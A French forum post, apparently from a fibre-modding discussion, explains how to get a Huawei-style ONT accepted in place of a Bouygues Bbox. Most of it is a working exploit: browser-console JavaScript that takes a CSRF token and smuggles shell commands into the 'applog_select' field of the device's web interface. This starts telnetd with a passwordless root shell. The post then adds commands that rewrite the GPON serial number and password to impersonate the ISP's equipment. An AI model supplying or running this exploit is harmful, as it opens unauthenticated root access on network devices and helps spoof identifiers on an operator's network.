Donc si je comprends bien, la Bbox fonctionne à la fois seule, et avec un ONT Huawei ?
Suivant les derniers commentaires, il semble que sur certaines lignes il faille IMEI+VENDOR, et plus uniquement l'IMEI seul.
VENDOR c'est le début du SN, et pouvoir le modifier il faut forcément passer par le shell.
une fois que tu as accès à l'ONT en 192.168.100.1, si tu past le code suivant dans la console JS et que ca répond '1' tu devrais avoir un telnet sans mot de passe activé
// Fetch a non csrf protected page to get a csrf token
await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) {
return response.text();
}).then(function (html) {
//inject the html response into a HTML DOM to parse it
var el = document.createElement( 'html' );
el.innerHTML = html;
//The token is inserted into the first <script> tag of the page
var es = el.getElementsByTagName( 'script' );
var aText = es[0].text;
//Add the csrf token in the document for other requests
document.csrf_token = aText.match("'(.*)'")[1];
}).catch(function (err) {
console.warn('Something went wrong.', err);
});
//use the csrf token to activate telnet with no login and a shell
fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},
body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/sbin:/bin:/usr/sbin:/usr/bin:/mnt/rootfs/bin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin'
})
.then(res => res.json())
.then(console.log)
du coup telnet 192.168.100.1 devrait ouvrir un shell sans mot de passe en root
=> ensuite dans le telnet :
/usr/bin/cmld_client set InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.X_SC_SerialNumber=xxxxxxxxxxxxxxxx
/usr/bin/cmld_client set InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.X_SC_Password=00000xxxxxxxxxxxxxxx
/usr/bin/cmld_client save
Avec donc au choix (selon ce qui fonctionne à la base) :
- le SN de la BBox (SMBSxxxxxxxx, à transformer en 534d4253xxxxxxxx) et son IMEI
- le SN de l'ONT Huawei (déjà au bon format sur l'étiquette, 48575443xxxxxxxx), et son IMEI
Si la vérification ne concerne que le VENDOR, alors la valeur des 8 derniers caractères du SN n'est pas très importante.
Mais si on peut garder celle d'origine, autant le faire.